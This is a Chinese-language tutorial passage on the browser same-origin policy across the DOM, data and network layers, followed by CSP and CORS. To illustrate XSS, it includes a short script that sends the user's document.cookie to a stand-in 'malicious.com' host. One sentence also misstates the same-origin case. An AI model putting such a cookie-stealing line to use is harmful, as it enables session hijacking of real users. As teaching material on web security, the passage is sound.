同源策略:为什么XMLHttpRequest不能跨域请求资源?

浏览器安全可以分为三⼤块⸺Web⻚⾯安全、浏览器⽹络安全和浏览器系统安全

什么是同源策略

如果两个URL的协议、域名和端⼝都相同,我们就称这两个URL同源。

浏览器默认两个相同的源之间是可以相互访问资源和操作DOM的。两个不同的源之间若想要相互访问资源 或者操作DOM,那么会有⼀套基础的安全策略的制约,我们把这称为同源策略。

具体来讲,同源策略主要表现在DOM、Web数据和⽹络这三个层⾯。


第⼀个,DOM层⾯

同源策略限制了来⾃不同源的JavaScript脚本对当前DOM对象读和写的操作。

由于第⼀个⻚⾯和第⼆个⻚⾯是同源关系,所以我们可以在第⼆个⻚⾯中操作第⼀个⻚⾯的DOM,⽐如将 第⼀个⻚⾯全部隐藏掉,代码如下所⽰:

{
let pdom = opener.document
pdom.body.style.display = "none"
}

该代码中,对象opener就是指向第⼀个⻚⾯的window对象,我们可以通过操作opener来控制第⼀个⻚⾯ 中的DOM。

我们在第⼆个⻚⾯的控制台中执⾏上⾯那段代码,就成功地操作了第⼀个⻚⾯中的DOM,将⻚⾯隐藏了

在不同源的情况就会报跨域错误

Blocked a frame with origin "https://www.infoq.cn" from accessing a cross-origin frame.


第二个,数据层面

同源策略限制了不同源的站点读取当前站点的Cookie、IndexDB、LocalStorage等数据。

当同源的时候,第二个页面也无法通过opener去访问第一个页面的Cookie、indexDB等内容


第三个,网络层面

同源策略限制了通过XMLHttpRequest等⽅式将站点的数据发送给不同源的站点。


安全和便利性的权衡

同源策略会隔离不同源的DOM、⻚⾯数据和⽹络通信,进⽽实现Web⻚⾯的安全性

但同时带来了开发的不便和很多安全问题,最典型的是XSS攻击和CSRF攻击

function onClick(){
let url = `http://malicious.com?cookie = ${document.cookie}`
open(url)
}
onClick()

在这段代码中,恶意脚本读取Cookie数据,并将其作为参数添加⾄恶意站点尾部,当打开该恶意⻚⾯时, 恶意服务器就能接收到当前⽤⼾的Cookie信息。

为了解决XSS攻击,浏览器中引⼊了内容安全策略,称为CSP。CSP的 核⼼思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执⾏内联JavaScript代码。通过这些⼿段就可以⼤⼤减少XSS攻击。


后来引入CORS(跨域资源请求),使⽤该机制可以进⾏跨域访问控制,从⽽使跨域 数据传输得以安全进⾏